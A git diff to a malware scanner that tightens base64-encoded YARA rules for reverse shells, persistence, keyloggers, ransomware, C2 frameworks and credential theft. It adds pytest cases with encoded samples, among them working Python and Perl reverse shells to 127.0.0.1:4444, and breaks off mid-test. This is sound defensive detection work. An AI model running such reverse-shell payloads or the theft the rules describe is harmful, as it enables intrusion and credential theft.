diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64
index d0b072f41..52099b2b0 100644
--- a/src/skillspector/yara_rules/malware.yar.b64
+++ b/src/skillspector/yara_rules/malware.yar.b64
@@ -11,79 +11,92 @@ LmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRiYXNo
 X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg
 ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j
 YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh
-KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0
-XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg
-PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr
-ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1
-YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg
-ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl
-dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0
-XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg
-ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog
-ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg
-ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo
-IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo
-aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg
-IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg
-cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K
-ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot
-b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi
-XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl
-Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j
-YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0
-LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg
-ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl
-X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg
-ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl
-KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv
-LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg
-a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9
-ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg
-ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg
-ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg
-ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg
-ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up
-LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz
-ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K
-ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv
-b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv
-ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg
-ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0
-aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg
-ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg
-c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu
-Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc
-cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q
-YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu
-KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg
-ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn
-XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy
-X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g
-PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr
-ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy
-ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi
-MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np
-Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj
-b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0
-ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv
-YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv
-d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2
-ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg
-ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv
-Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg
-JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt
-YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy
-dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu
-Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl
-ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2
-ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl
-cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg
-c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh
-dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp
-cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy
-b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg
-ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p
-bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j
-YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu
-b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg
-ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo=
+KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0X3NoZWxsID0gL3NvY2tldFwuc29j
+a2V0XCguezAsMTgwfVNPQ0tfU1RSRUFNLnswLDE4MH1cKS57MCwyNDB9XC5jb25uZWN0XCguezAs
+MTgwfVwpLnswLDE2MH0ob3NcLik/ZHVwMlwoLnswLDgwfSxccypbMDEyXVxzKlwpLnswLDE2MH0o
+KHN1YnByb2Nlc3NcLihjYWxsfFBvcGVufHJ1bil8b3NcLnN5c3RlbXxwdHlcLnNwYXduKVwoXHMq
+W15cKVxuXXswLDgwfShcL2JpblwvKGJhKT9zaHxbIiddKGJhKT9zaFsiJ10pLnswLDQwfXxvc1wu
+ZXhlYyhsfGxlfGxwfHZ8dmV8dnApP1woXHMqW15cKVxuXXswLDIwfVsiJ11cL2JpblwvKGJhKT9z
+aFsiJ10uezAsODB9XCkpL3Mgbm9jYXNlDQogICAgICAgICRwZXJsX3NvY2tldF9zaGVsbCAgID0g
+L3VzZVxzK1NvY2tldDsuezAsMjIwfXNvY2tldFxzKlwoLnswLDE4MH1TT0NLX1NUUkVBTS57MCwx
+MjB9XCk7LnswLDMwMH1jb25uZWN0XHMqXCguezAsMTgwfVwpOy57MCwxNjB9KChvcGVuXHMqXChc
+cyooU1RESU58U1RET1VUfFNUREVSUilccyosXHMqWyInXT4mfGR1cDJccypcKC57MCw4MH0sXHMq
+WzAxMl1ccypcKSkuezAsMTYwfShzeXN0ZW18ZXhlYylccypcKFxzKlteXClcbl17MCw4MH1cL2Jp
+blwvKGJhKT9zaC57MCw0MH1cKSkvcyBub2Nhc2UNCiAgICAgICAgJHBocF9mc29jayAgICAgICAg
+PSAvZnNvY2tvcGVuXHMqXCguKmV4ZWNccypcKC8gbm9jYXNlDQogICAgICAgICRydWJ5X3RjcHNv
+Y2tldCAgID0gL1RDUFNvY2tldFwuXHMqbmV3XHMqXCguKmV4ZWNccypcKC8NCiAgICAgICAgJHBv
+d2Vyc2hlbGxfdGNwICAgPSAvTmV3LU9iamVjdFxzK1N5c3RlbVwuTmV0XC5Tb2NrZXRzXC5UQ1BD
+bGllbnQvIG5vY2FzZQ0KICAgICAgICAkc29jYXRfc2hlbGwgICAgICA9IC9zb2NhdFxzKy4qRVhF
+Qy4qXC9iaW5cLyhiYSk/c2gvIG5vY2FzZQ0KICAgICAgICAkbWtmaWZvX3NoZWxsICAgICA9IC9t
+a2ZpZm9ccysuKlx8XHMqXC9iaW5cLyhiYSk/c2gvDQogICAgY29uZGl0aW9uOg0KICAgICAgICAk
+YmFzaF9yZXZzaGVsbCBvcg0KICAgICAgICAkbmNfc2hlbGwgb3INCiAgICAgICAgJG5jYXRfc2hl
+bGwgb3INCiAgICAgICAgJHB5dGhvbl9zb2NrZXRfc2hlbGwgb3INCiAgICAgICAgJHBlcmxfc29j
+a2V0X3NoZWxsIG9yDQogICAgICAgICRwaHBfZnNvY2sgb3INCiAgICAgICAgJHJ1YnlfdGNwc29j
+a2V0IG9yDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCBvcg0KICAgICAgICAkc29jYXRfc2hlbGwg
+b3INCiAgICAgICAgJG1rZmlmb19zaGVsbA0KfQ0KDQpydWxlIGJhY2tkb29yX3BlcnNpc3RlbmNl
+DQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiQmFja2Rvb3IgcGVyc2lzdGVu
+Y2Ugd2l0aCBtYWxpY2lvdXMgcGF5bG9hZHMgKHNoZWxsIGNvbW1hbmRzLCBTU0gga2V5IGluamVj
+dGlvbiwgaGlkZGVuIHJvb3QgdXNlcnMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0K
+ICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQog
+ICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUt
+YmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkaGlkZGVuX3VzZXIgICAgICAgPSAvdXNlcmFk
+ZFxzKy4qLW9ccystdVxzKzAvIG5vY2FzZQ0KICAgICAgICAkY3Jvbl9wZXJzaXN0ICAgICAgPSAv
+Y3JvbnRhYlxzLiooY3VybHx3Z2V0fG5jfGJhc2h8cHl0aG9uKS8gbm9jYXNlDQogICAgICAgICRz
+c2hfaW5qZWN0ICAgICAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuc3NoXC9hdXRob3JpemVkX2tl
+eXMvIG5vY2FzZQ0KICAgICAgICAkc3lzdGVtZF9wZXJzaXN0ICAgPSAvXFtTZXJ2aWNlXF0uKkV4
+ZWNTdGFydC4qKG5jfGJhc2h8cHl0aG9ufGN1cmwpLyBub2Nhc2UNCiAgICAgICAgJGJhc2hyY19w
+ZXJzaXN0ICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5iYXNocmMvIG5vY2FzZQ0KICAgICAgICAk
+cHJvZmlsZV9wZXJzaXN0ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnByb2ZpbGUvIG5vY2FzZQ0K
+ICAgICAgICAkaW5pdF9wZXJzaXN0ICAgICAgPSAvXC9ldGNcL2luaXRcLmRcLy4qKG5jfGJhc2h8
+cmV2ZXJzZSkvIG5vY2FzZQ0KICAgICAgICAkbGRfcHJlbG9hZCAgICAgICAgPSAvTERfUFJFTE9B
+RC4qXC5zby8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0K
+DQpydWxlIGtleWxvZ2dlcl9pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3Jp
+cHRpb24gPSAiS2V5bG9nZ2VyIGZ1bmN0aW9uYWxpdHkgaW4gc2NyaXB0cyBvciBzb3VyY2UgY29k
+ZSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiSElH
+SCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjciDQogICAgc3RyaW5nczoNCiAgICAgICAgJHB5
+bnB1dCAgICAgICAgID0gL2Zyb21ccytweW5wdXRcLmtleWJvYXJkXHMraW1wb3J0LyBub2Nhc2UN
+CiAgICAgICAgJGtleWJvYXJkX2hvb2sgID0gL2tleWJvYXJkXC4ob25fcHJlc3N8aG9va3xvbl9y
+ZWxlYXNlKS8gbm9jYXNlDQogICAgICAgICR4aW5wdXRfdGVzdCAgICA9IC94aW5wdXRccyt0ZXN0
+LyBub2Nhc2UNCiAgICAgICAgJGxvZ2tleXMgICAgICAgID0gL2xvZ2tleXNccystLXN0YXJ0LyBu
+b2Nhc2UNCiAgICAgICAgJGtleWJkX2V2ZW50ICAgID0gLyhHZXRBc3luY0tleVN0YXRlfFNldFdp
+bmRvd3NIb29rRXguKldIX0tFWUJPQVJEKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAg
+ICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIHJhbnNvbXdhcmVfYmVoYXZpb3INCnsNCiAgICBtZXRh
+Og0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJSYW5zb213YXJlLWxpa2UgcGF0dGVybnMgKG1hc3Mg
+ZW5jcnlwdGlvbiwgcmFuc29tIG5vdGVzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSIN
+CiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC44
+Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICR3YWxrX2VuY3J5cHQgICA9IC9vc1wud2Fsa1xzKlwo
+LipcLihlbmNyeXB0fGNpcGhlcikvDQogICAgICAgICRyYW5zb21fbm90ZSAgICA9IC8oeW91clxz
+K2ZpbGVzXHMrKGhhdmVccytiZWVufGFyZSlccytlbmNyeXB0ZWR8cGF5XHMrLipiaXRjb2lufHNl
+bmRccysuKmJ0YykvIG5vY2FzZQ0KICAgICAgICAkZXh0X3JlbmFtZSAgICAgPSAvb3NcLnJlbmFt
+ZVxzKlwoLipcK1xzKlsnIl1cLihsb2NrZWR8ZW5jcnlwdGVkfGNyeXB0fGVuYylbJyJdXHMqXCkv
+DQogICAgICAgICRtYXNzX292ZXJ3cml0ZSA9IC9vc1wud2Fsa1xzKlwoLipvcGVuXHMqXCguKlsn
+XCJdd2JbJ1wiXVwpLw0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0K
+cnVsZSBjMl9mcmFtZXdvcmtfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2Ny
+aXB0aW9uID0gIkNvbW1hbmQtYW5kLWNvbnRyb2wgZnJhbWV3b3JrIGluZGljYXRvcnMgKENvYmFs
+dCBTdHJpa2UsIE1ldGFzcGxvaXQsIFNsaXZlciwgZXRjLikiDQogICAgICAgIGNhdGVnb3J5ID0g
+Im1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRl
+bmNlID0gIjAuODUiDQogICAgICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVv
+MjN4MC9zaWduYXR1cmUtYmFzZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY29iYWx0X3N0cmlr
+ZSAgPSAiY29iYWx0c3RyaWtlIiBub2Nhc2UNCiAgICAgICAgJG1ldGVycHJldGVyICAgID0gIm1l
+dGVycHJldGVyIiBub2Nhc2UNCiAgICAgICAgJG1ldGFzcGxvaXQgICAgID0gL21ldGFzcGxvaXQu
+KihwYXlsb2FkfGV4cGxvaXR8c3RhZ2VyKS8gbm9jYXNlDQogICAgICAgICRlbXBpcmUgICAgICAg
+ICA9IC9wb3dlcnNoZWxsLiplbXBpcmUvIG5vY2FzZQ0KICAgICAgICAkc2xpdmVyX2MyICAgICAg
+PSAvc2xpdmVyLiooaW1wbGFudHxiZWFjb258c2Vzc2lvbikvIG5vY2FzZQ0KICAgICAgICAkY292
+ZW5hbnQgICAgICAgPSAvQ292ZW5hbnQuKihHcnVudHxMaXN0ZW5lcikvIG5vY2FzZQ0KICAgICAg
+ICAkaGF2b2NfYzIgICAgICAgPSAvaGF2b2MuKihkZW1vbnx0ZWFtc2VydmVyKS8gbm9jYXNlDQog
+ICAgICAgICRiZWFjb25fY29uZmlnICA9IC8oQmVhY29uVHlwZXxDMlNlcnZlcnxQdWJsaWNLZXku
+KndhdGVybWFyaykvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0N
+Cn0NCg0KcnVsZSBpbmZvX3N0ZWFsZXINCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlv
+biA9ICJJbmZvcm1hdGlvbiBzdGVhbGVyIHBhdHRlcm5zIChjcmVkZW50aWFsIGhhcnZlc3Rpbmcs
+IGJyb3dzZXIgZGF0YSB0aGVmdCkiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAg
+ICAgIHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAg
+ICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNl
+Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICRjaHJvbWVfbG9naW4gICAgID0gL0Nocm9tZS4qTG9n
+aW5ccypEYXRhLyBub2Nhc2UNCiAgICAgICAgJGZpcmVmb3hfbG9naW5zICAgPSAvbG9naW5zXC5q
+c29uLipmaXJlZm94LyBub2Nhc2UNCiAgICAgICAgJGJyb3dzZXJfY29va2llcyAgPSAvQ29va2ll
+cy4qKGNocm9tZXxmaXJlZm94fGVkZ2V8b3BlcmEpLyBub2Nhc2UNCiAgICAgICAgJHdhbGxldF9z
+dGVhbCAgICAgPSAvd2FsbGV0XC5kYXQvIG5vY2FzZQ0KICAgICAgICAkbWltaWthdHogICAgICAg
+ICA9ICJtaW1pa2F0eiIgbm9jYXNlDQogICAgICAgICRsYXphZ25lICAgICAgICAgID0gImxhemFn
+bmUiIG5vY2FzZQ0KICAgICAgICAkY3JlZF9kdW1wX3NhbSAgICA9IC9yZWdccytzYXZlXHMrLipc
+XHNhbS8gbm9jYXNlDQogICAgICAgICRudGRzX2R1bXAgICAgICAgID0gL250ZHNcLmRpdC8gbm9j
+YXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0K
diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py
index 9022f2eec..cc8863873 100644
--- a/tests/nodes/analyzers/test_static_yara.py
+++ b/tests/nodes/analyzers/test_static_yara.py
@@ -592,6 +592,81 @@ def test_builtin_malware_finding_preserved(self):
         assert _has_rule(findings, "reverse_shell")
         assert any(f.rule_id == "YR1" for f in findings)
 
+    @pytest.mark.parametrize(
+        "content",
+        [
+            """
+import socket
+
+sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sock.connect((\"127.0.0.1\", 4444))
+""",
+            """
+use Socket;
+
+socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname(\"tcp\"));
+connect(SOCK, sockaddr_in(4444, inet_aton(\"127.0.0.1\")));
+""",
+        ],
+        ids=["python", "perl"],
+    )
+    def test_builtin_malware_does_not_flag_multiline_socket_clients(self, content):
+        findings = _run_builtin(content, "socket-client.txt")
+
+        assert not _has_rule(findings, "reverse_shell")
+
+    @pytest.mark.parametrize(
+        "encoded_content",
+        [
+            "aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MKc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKc29jay5jb25uZWN0KCgiMTI3LjAuMC4xIiwgNDQ0NCkpCmxvZyA9IG9wZW4oImxvY2FsLmxvZyIsICJ3IikKb3MuZHVwMihsb2cuZmlsZW5vKCksIDEpCnN1YnByb2Nlc3MucnVuKFsicHJpbnRmIiwgImRvbmUiXSkKZGVmYXVsdF9zaGVsbCA9ICIvYmluL3NoIgo=",
+            "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0ssIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgidGNwIikpOwpjb25uZWN0KFNPQ0ssIHNvY2thZGRyX2luKDQ0NDQsIGluZXRfYXRvbigiMTI3LjAuMC4xIikpKTsKb3BlbihteSAkbG9nLCAiPiIsICJsb2NhbC5sb2ciKTsKcHJpbnQgJGxvZyAiZG9uZSI7CnN5c3RlbSgiL2Jpbi9zaCIsICItYyIsICJwcmludGYgZG9uZSIpOwo=",
+        ],
+        ids=["python-unrelated-shell-evidence", "perl-unrelated-shell-evidence"],
+    )
+    def test_builtin_malware_does_not_combine_unrelated_socket_evidence(self, encoded_content):
+        content = base64.b64decode(encoded_content).decode()
+        findings = _run_builtin(content, "benign-network-client.txt")
+
+        assert not _has_rule(findings, "reverse_shell")
+
+    @pytest.mark.parametrize(
+        "encoded_content",
+        [
+            "aW1wb3J0IHNvY2tldApzb2NrID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzb2NrLmNvbm5lY3QoKCIxMjcuMC4wLjEiLCA0NDQ0KSkKbG9nID0gb3BlbigibG9jYWwubG9nIiwgInciKQpvcy5kdXAyKGxvZy5maWxlbm8oKSwgMSkKc3VicHJvY2Vzcy5ydW4oWyJwcmludGYiLCAiZG9uZSJdKQpkZWZhdWx0X3NoZWxsID0gIi9iaW4vc2giCg==",
+            "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0ssIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgidGNwIikpOwpjb25uZWN0KFNPQ0ssIHNvY2thZGRyX2luKDQ0NDQsIGluZXRfYXRvbigiMTI3LjAuMC4xIikpKTsKb3BlbihteSAkbG9nLCAiPiIsICJsb2NhbC5sb2ciKTsKcHJpbnQgJGxvZyAiZG9uZSI7CnN5c3RlbSgicHJpbnRmIGRvbmUiKTsK",
+        ],
+        ids=["python-local-redirection", "perl-local-logging"],
+    )
+    def test_builtin_malware_does_not_combine_unrelated_redirection_and_shell_text(
+        self, encoded_content
+    ):
+        content = base64.b64decode(encoded_content).decode()
+        findings = _run_builtin(content, "benign-redirection.txt")
+
+        assert not _has_rule(findings, "reverse_shell")
+
+    @pytest.mark.parametrize(
+        "encoded_content",
+        [
+            "aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MKc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKc29jay5jb25uZWN0KCgnMTI3LjAuMC4xJywgNDQ0NCkpCm9zLmR1cDIoc29jay5maWxlbm8oKSwgMCkKc3VicHJvY2Vzcy5jYWxsKFsnL2Jpbi9zaCcsICctaSddKQo=",
+            "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0ssIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgidGNwIikpOwpjb25uZWN0KFNPQ0ssIHNvY2thZGRyX2luKDQ0NDQsIGluZXRfYXRvbigiMTI3LjAuMC4xIikpKTsKb3BlbihTVERJTiwgJzwmU09DSycpOyBvcGVuKFNURE9VVCwgJz4mU09DSycpOyBvcGVuKFNUREVSUiwgJz4mU09DSycpOyBleGVjKCcvYmluL3NoJyk7Cg==",
+        ],
+        ids=["python", "perl"],
+    )
+    def test_builtin_malware_finding_covers_multiline_socket_shells(self, encoded_content):
